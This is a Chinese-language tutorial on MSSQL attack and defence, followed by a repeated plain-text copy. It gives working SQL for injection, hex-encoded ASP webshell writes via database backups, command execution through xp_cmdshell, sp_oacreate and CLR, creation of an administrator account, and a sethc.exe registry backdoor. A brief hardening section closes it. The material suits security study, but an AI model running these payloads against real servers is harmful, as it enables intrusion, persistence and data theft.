数据库攻防之MSSQL
字数 1272 2025-08-09 13:33:38

MSSQL数据库攻防技术详解

1. MSSQL简介

MSSQL(Microsoft SQL Server)是由微软开发和推广的关系型数据库管理系统,广泛应用于ASPX站点、餐饮系统、事业单位系统和ERP系统等领域。

主要特点:

  • 集成微软各类产品及资源
  • 提供强大的可视化界面
  • 高度集成的管理开发工具
  • 适合缺少IT人才但资金充足的中小企业

2. MSSQL安装与连接

安装配置

  1. 下载安装包:

    • 数据库引擎:SQLEXPR
    • 管理工具:SQLEXPRADV
    • 下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
  2. 安装步骤:

    • 选择全新安装
    • 选择默认实例
    • 服务器配置中将账户名修改为system
    • 选择混合模式,设置密码
    • 完成安装

连接配置

Windows连接:

  • 本地连接:使用Windows身份验证
  • 远程连接:
    1. 启用TCP/IP协议(SQL Server配置管理器)
    2. 允许远程连接(数据库属性)
    3. 开放1433端口防火墙规则
    4. 重启SQL Server服务

Linux连接工具:

  • mssqlclient
  • sqsh
  • Navicat

3. MSSQL基本操作

基础查询

select db_name()        -- 查看当前数据库
select @@version        -- 查看数据库版本
select user_name()      -- 查看当前用户名
select host_name()      -- 查看计算机名

数据库操作

select name, database_id, create_date from sys.databases;  -- 查询所有数据库
select * from sysobjects where xtype='U';                 -- 查询所有表
sp_help/sp_columns test;                                 -- 查看表结构
select top 10 * from users;                              -- 查看前10条记录
select * from Info.dbo.users where username='admin';     -- 查询具体信息

注释方式

-- 单行注释
/* 多行注释 */

4. MSSQL渗透技术

SQL注入攻击

默认数据库:

  • master:系统级信息
  • model:模板数据库
  • msdb:代理配置
  • tempdb:临时存储

注入步骤:

  1. 判断注入点:id=2'
  2. 确定字段数:order by 4
  3. 确定回显位置:union all select null,null,null,null
  4. 获取基本信息:
    select @@version
    select user
    select db_name()
    
  5. 获取表名:
    select top 1 name from mozhe_db_v2.sys.sysobjects where xtype='U'
    
  6. 获取列名:
    select top 1 name from mozhe_db_v2.sys.syscolumns where ID=OBJECT_ID('mozhe_db_v2.dbo.manage')
    
  7. 获取数据:
    select top 1 username,password from mozhe_db_v2.dbo.manage
    

文件写入技术

差异备份写入shell:

  1. 完整备份数据库:
    backup database 库名 to disk = 'C:\ddd.bak';
    
  2. 创建表并插入数据:
    create table [dbo].[dtest] ([cmd] [image]);
    insert into dtest(cmd) values(0x3c78656375746528726571756573742822636d64222929);
    
  3. 差异备份:
    backup database 库名 to disk='C:\目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;
    

日志备份写入shell:

if exists(select table_name from information_schema.tables where table_name='test_tmp') drop table test_tmp;
alter mydb set RECOVERY FULL;
create table test_tmp(a image);
backup log mydb to disk='C:/路径/asp.bak' with init;
insert into test_tmp(a) values (0x3C256578656375746528726571756573742822636d64222929253E);
backup log mydb to disk = 'C:/路径/123.asp';
drop table test_tmp;

提权技术

xp_cmdshell提权:

  1. 启用xp_cmdshell:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;
    
  2. 执行系统命令:
    EXEC master.dbo.xp_cmdshell 'whoami';
    
  3. 创建用户:
    exec master..xp_cmdshell "net user mac QWEasd123 /add";
    exec master..xp_cmdshell "net localgroup administrators mac /add";
    

sp_oacreate提权:

  1. 启用组件:
    exec sp_configure 'show advanced options',1; 
    reconfigure; 
    exec sp_configure 'Ole Automation Procedures',1; 
    reconfigure;
    
  2. 执行命令:
    declare @shell int;
    exec sp_oacreate 'wscript.shell',@shell output;
    exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
    

沙盒提权:

  1. 测试jet.oledb.4.0:
    select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
    
  2. 关闭沙盒模式:
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
    

CLR提权:

  1. 启用CLR:
    sp_configure 'show advanced options',1;
    RECONFIGURE;
    sp_configure 'clr enabled',1;
    RECONFIGURE;
    
  2. 导入CLR程序集:
    CREATE ASSEMBLY [mssql_CLR] FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
    
  3. 创建CLR存储过程:
    CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
    
  4. 执行命令:
    exec dbo.ExecCommand "whoami /all";
    

其他组件利用

xp_dirtree:

execute master..xp_dirtree 'c:'      -- 列出所有文件
execute master..xp_dirtree 'c:',1    -- 只列目录

xp_fileexist:

exec master.sys.xp_fileexist 'D:\test.txt'  -- 检查文件是否存在

xp_create_subdir:

exec master.sys.xp_create_subdir 'D:\test'  -- 创建目录

xp_regread/xp_regwrite:

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','c:\windows\system32\cmd.exe'

5. MSSQL安全防护

  1. 限制数据库外联:只允许必要IP访问
  2. 账户安全
    • 禁用SA账户或设置强密码
    • 为每个数据库设置单独账户
  3. 禁用危险组件
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 0;
    RECONFIGURE;
    
  4. 权限控制
    • 采用最小权限原则
    • 数据库服务不要使用系统权限
  5. 修改默认端口:更改1433默认端口
  6. 定期审计:检查异常登录和操作

6. 总结

MSSQL作为企业级数据库系统,在红队攻防中经常遇到。攻击者主要通过SQL注入获取信息、文件写入获取shell、各种提权技术获取系统权限等方式进行攻击。防御方应重点关注账户安全、组件管控和权限管理,实施最小权限原则,定期审计日志,及时发现和阻断攻击行为。

MSSQL数据库攻防技术详解 1. MSSQL简介 MSSQL(Microsoft SQL Server)是由微软开发和推广的关系型数据库管理系统,广泛应用于ASPX站点、餐饮系统、事业单位系统和ERP系统等领域。 主要特点: 集成微软各类产品及资源 提供强大的可视化界面 高度集成的管理开发工具 适合缺少IT人才但资金充足的中小企业 2. MSSQL安装与连接 安装配置 下载安装包: 数据库引擎:SQLEXPR 管理工具:SQLEXPRADV 下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438 安装步骤: 选择全新安装 选择默认实例 服务器配置中将账户名修改为system 选择混合模式,设置密码 完成安装 连接配置 Windows连接: 本地连接:使用Windows身份验证 远程连接: 启用TCP/IP协议(SQL Server配置管理器) 允许远程连接(数据库属性) 开放1433端口防火墙规则 重启SQL Server服务 Linux连接工具: mssqlclient sqsh Navicat 3. MSSQL基本操作 基础查询 数据库操作 注释方式 4. MSSQL渗透技术 SQL注入攻击 默认数据库: master:系统级信息 model:模板数据库 msdb:代理配置 tempdb:临时存储 注入步骤: 判断注入点: id=2' 确定字段数: order by 4 确定回显位置: union all select null,null,null,null 获取基本信息: 获取表名: 获取列名: 获取数据: 文件写入技术 差异备份写入shell: 完整备份数据库: 创建表并插入数据: 差异备份: 日志备份写入shell: 提权技术 xp_ cmdshell提权: 启用xp_ cmdshell: 执行系统命令: 创建用户: sp_ oacreate提权: 启用组件: 执行命令: 沙盒提权: 测试jet.oledb.4.0: 关闭沙盒模式: CLR提权: 启用CLR: 导入CLR程序集: 创建CLR存储过程: 执行命令: 其他组件利用 xp_ dirtree: xp_ fileexist: xp_ create_ subdir: xp_ regread/xp_ regwrite: 5. MSSQL安全防护 限制数据库外联 :只允许必要IP访问 账户安全 : 禁用SA账户或设置强密码 为每个数据库设置单独账户 禁用危险组件 : 权限控制 : 采用最小权限原则 数据库服务不要使用系统权限 修改默认端口 :更改1433默认端口 定期审计 :检查异常登录和操作 6. 总结 MSSQL作为企业级数据库系统,在红队攻防中经常遇到。攻击者主要通过SQL注入获取信息、文件写入获取shell、各种提权技术获取系统权限等方式进行攻击。防御方应重点关注账户安全、组件管控和权限管理,实施最小权限原则,定期审计日志,及时发现和阻断攻击行为。